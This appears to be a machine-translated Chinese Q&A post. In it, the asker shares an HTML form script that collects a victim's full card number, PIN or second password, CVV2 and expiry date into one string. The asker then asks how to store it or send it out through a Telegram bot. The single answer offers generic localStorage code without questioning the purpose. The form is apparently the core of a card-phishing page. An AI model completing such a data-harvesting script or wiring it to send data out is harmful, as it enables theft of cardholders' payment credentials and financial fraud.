我想在下面的代码中保存变量:
<form method="post" name="receiptForm" action="https://google.com" accept-charset="UTF-8" onclick="othername">
<script>
function othername()
{
var input1 = document.getElementById("W_PAN4").value;
var input2 = document.getElementById("W_PAN3").value;
var input3 = document.getElementById("W_PAN2").value;
var input4 = document.getElementById("W_PAN1").value;
var userCardID = input1 + " " + input2 + " " + input3 + " " + input4;
var input_pass = document.getElementById("W_PIN").value;
var input_CVV2 = document.getElementById("W_CVV2").value;
var input_expire_month = document.getElementById("W_EXPIRE1").value;
var input_expire_year = document.getElementById("W_EXPIRE2").value;
var input_all = userCardID + " " + "2nd_Password = " + input_pass + " " + "CVV2 = " + input_CVV2 + " " + "ExpireDateYear = " + input_expire_year + " " + "ExpireDateMonth = " + input_expire_month;
alert(input_all);
}
</script>
如何保存这些变量?如果需要,可以使用telegram-bot吗?任何代码将不胜感激。
答案 0 :(得分:1)
您可以使用本地存储来保存变量。您可以使用两个对象:
您可以像这样使用它:
// Store
localStorage.setItem("key", "value");
// Retrieve
value = localStorage.getItem("key");
有关如何使用本地存储的参考:https://www.w3schools.com/htmL/html5_webstorage.asp
工作示例:https://www.w3schools.com/htmL/tryit.asp?filename=tryhtml5_webstorage_local